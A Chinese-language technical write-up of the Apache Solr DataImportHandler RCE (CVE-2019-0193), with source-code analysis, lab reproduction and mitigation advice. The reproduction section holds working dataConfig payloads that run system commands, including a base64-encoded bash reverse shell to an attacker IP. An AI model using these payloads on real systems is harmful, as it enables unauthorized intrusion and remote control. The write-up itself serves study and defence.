漏洞概述
漏洞名称:Apache Solr DataImportHandler 远程代码执行漏洞
漏洞编号:CVE-2019-0193
CVSS 评分:9.8
影响版本:Apache Solr 1.3 - 8.2.0
修复版本:Apache Solr ≥ 8.2.0
漏洞类型:输入验证缺陷导致远程代码执行
CVE-2019-0193 是 Apache Solr 的 DataImportHandler(DIH)模块中的高危漏洞。攻击者通过向 Solr 的 DIH 接口发送恶意构造的 dataConfig
参数,注入 JavaScript 脚本并利用 Nashorn 引擎执行任意 Java 代码,最终实现远程命令执行。漏洞利用需满足两个条件:
- 启用 DIH 模块
- Solr Admin UI 未配置身份认证。
技术细节与源码分析
漏洞成因
- DIH 模块设计缺陷:
DIH 允许通过 HTTP 请求的dataConfig
参数动态配置数据导入规则,且支持在<script>
标签内嵌入 JavaScript 代码。Solr 使用 Nashorn 引擎解析脚本时,未对代码内容做安全过滤,导致可通过Java.type()
调用危险类(如java.lang.Runtime
)。 - 关键危险接口:
http://<target>:8983/solr/<core>/dataimport?command=full-import
接口接收dataConfig
参数并直接解析执行。
2.2 漏洞触发路径与源码分析
关键代码节点:
1.DataImportHandler
的handleRequestBody
方法
- 源码定位
solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/DataImportHandler.java#handleRequestBody
@Override@SuppressWarnings("unchecked")public void handleRequestBody(SolrQueryRequest req, SolrQueryResponse rsp)throws Exception {rsp.setHttpCaching(false);ContentStream contentStream = null;Iterable<ContentStream> streams = req.getContentStreams();if(streams != null){for (ContentStream stream : streams) {contentStream = stream;break;}}SolrParams params = req.getParams();NamedList defaultParams = (NamedList) initArgs.get("defaults");RequestInfo requestParams = new RequestInfo(req, getParamsMap(params), contentStream);String command = requestParams.getCommand();if (DataImporter.SHOW_CONF_CMD.equals(command)) { String dataConfigFile = params.get("config");String dataConfig = params.get("dataConfig");if(dataConfigFile != null) {dataConfig = SolrWriter.getResourceAsString(req.getCore().getResourceLoader().openResource(dataConfigFile));}if(dataConfig==null) {rsp.add("status", DataImporter.MSG.NO_CONFIG_FOUND);} else {ModifiableSolrParams rawParams = new ModifiableSolrParams(req.getParams());rawParams.set(CommonParams.WT, "raw");req.setParams(rawParams);ContentStreamBase content = new ContentStreamBase.StringStream(dataConfig);rsp.add(RawResponseWriter.CONTENT, content);}return;}rsp.add("initArgs", initArgs);String message = "";if (command != null) {rsp.add("command", command);}// If importer is still nullif (importer == null) {rsp.add("status", DataImporter.MSG.NO_INIT);return;}if (command != null && DataImporter.ABORT_CMD.equals(command)) {importer.runCmd(requestParams, null);} else if (importer.isBusy()) {message = DataImporter.MSG.CMD_RUNNING;} else if (command != null) {if (DataImporter.FULL_IMPORT_CMD.equals(command)|| DataImporter.DELTA_IMPORT_CMD.equals(command) ||IMPORT_CMD.equals(command)) {importer.maybeReloadConfiguration(requestParams, defaultParams);//调用maybeReloadConfiguration方法UpdateRequestProcessorChain processorChain =req.getCore().getUpdateProcessorChain(params);UpdateRequestProcessor processor = processorChain.createProcessor(req, rsp);SolrResourceLoader loader = req.getCore().getResourceLoader();DIHWriter sw = getSolrWriter(processor, loader, requestParams, req);......
- 当前请求的command为full-import,通过maybeReloadConfiguration重新加载配置
2.`maybeReloadConfiguration``
- 代码定位
solr/contrib/dataimporthandler/src/java/org/apache/solr/handler/dataimport/DataImporter.java#maybeReloadConfiguration
boolean maybeReloadConfiguration(RequestInfo params,NamedList<?> defaultParams) throws IOException {if (importLock.tryLock()) {boolean success = false;try { if (null != params.getRequest()) {if (schema != params.getRequest().getSchema()) {schema = params.getRequest().getSchema();}}String dataConfigText = params.getDataConfig();String dataconfigFile = params.getConfigFile(); InputSource is = null;if(dataConfigText!=null && dataConfigText.length()>0) {is = new InputSource(new StringReader(dataConfigText));} else if(dataconfigFile!=null) {is = new InputSource(core.getResourceLoader().openResource(dataconfigFile));is.setSystemId(SystemIdResolver.createSystemIdFromResourceName(dataconfigFile));log.info("Loading DIH Configuration: " + dataconfigFile);}if(is!=null) { config = loadDataConfig(is);//调用loadDataConfigsuccess = true;} ......
- 在
maybeReloadConfiguration
中通过params.getDataConfig()
判断了post的数据(dataConfig)是否为空,如果不是则通过loadDataConfig
来加载
3. doFullImport
方法
- 随后在
loadDataConfig
中通过readFromXml
方法解析提交的配置数据中的各个标签,获取到配置信息后通过this.importer.runCmd()
方法处理导入过程,在runCmd()
方法中调用doFullImport
public void doFullImport(DIHWriter writer, RequestInfo requestParams) {log.info("Starting Full Import");setStatus(Status.RUNNING_FULL_DUMP);try {DIHProperties dihPropWriter = createPropertyWriter();setIndexStartTime(dihPropWriter.getCurrentTimestamp());docBuilder = new DocBuilder(this, writer, dihPropWriter, requestParams);checkWritablePersistFile(writer, dihPropWriter);docBuilder.execute();if (!requestParams.isDebug())cumulativeStatistics.add(docBuilder.importStatistics);} catch (Exception e) {SolrException.log(log, "Full Import failed", e);docBuilder.handleError("Full Import failed", e);} finally {setStatus(Status.IDLE);DocBuilder.INSTANCE.set(null);}
-
功能:在
DataImporter.doFullImport
中创建DocBuilder
对象,负责解析用户提交的dataConfig
配置并生成Solr文档。 -
关键操作:通过
execute()
方法遍历Entity元素,最终生成EntityProcessorWrapper
对象,用于封装实体处理逻辑。
4.全量数据解析(doFullDump
方法)
-
调用链:
doFullDump
调用DocBuilder.buildDocument()
,逐层处理每个Entity的processor和transformer
配置。 -
漏洞触发点:当Entity配置中包含
ScriptTransformer
时,会触发用户自定义脚本的解析。此处未对脚本内容进行安全过滤。
5.恶意脚本执行(EntityProcessorWrapper
类)
-
流程:通过
EntityProcessorWrapper.nextRow()
遍历数据行,调用applyTransformer()
执行转换操作。 -
关键方法:
ScriptTransformer.transformRow()
动态初始化脚本引擎(如Nashorn),执行用户注入的JavaScript
代码。
利用方式:攻击者通过<script>标签嵌入恶意代码(如java.lang.Runtime.getRuntime().exec())
,直接调用Java类执行系统命令。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d
2.访问访问 http://target:8983,确认服务正常运行
攻击步骤
1.创建文件
- 打开左边demo核心,选择Dataimport功能并选择debug模式,填入以下POC:
<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>
- 点击
Execute with this Confuguration
- 进入容器发现创建成功
2.反弹shell
- 生成payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64编码(换成自己攻击机的ip和监听端口)
- kali开启监听
- 跟之前步骤一样,只是将命令改为反弹shell的payload
<dataConfig><script><![CDATA[function poc(){ java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");}]]></script><document><entity name="sample"fileName=".*"baseDir="/"processor="FileListEntityProcessor"recursive="false"transformer="script:poc" /></document>
</dataConfig>
- 成功
修复建议
4.1 官方修复方案
- 升级至 Solr ≥ 8.2.0:
需显式设置 JVM 参数-Denable.dih.dataconfigparam=true
方可使用dataConfig
参数。 - 补丁代码分析:
在DataImporter.java
中增加安全校验:if (System.getProperty("enable.dih.dataconfigparam") == null) { throw new SolrException("dataConfig param requires system property enable.dih.dataconfigparam=true"); }
4.2 临时缓解措施
- 禁用 DIH 模块:
注释solrconfig.xml
中所有<requestHandler name="/dataimport">
配置并重启。 - 启用身份认证:
配置security.json
强制 Solr Admin UI 登录认证。 - 网络隔离:
限制 Solr 端口(默认 8983)仅允许可信 IP 访问。
总结
CVE-2019-0193 暴露了 Apache Solr 在动态配置解析与脚本引擎安全上的严重缺陷。其利用链通过 DIH 模块的 dataConfig
参数注入恶意脚本,结合 Nashorn 引擎的 Java 调用能力实现 RCE。
5 参考链接
- 漏洞技术分析:DIH 模块与 Nashorn 引擎利用链
- CVE-2019-0193(Apache Solr 远程命令执行漏洞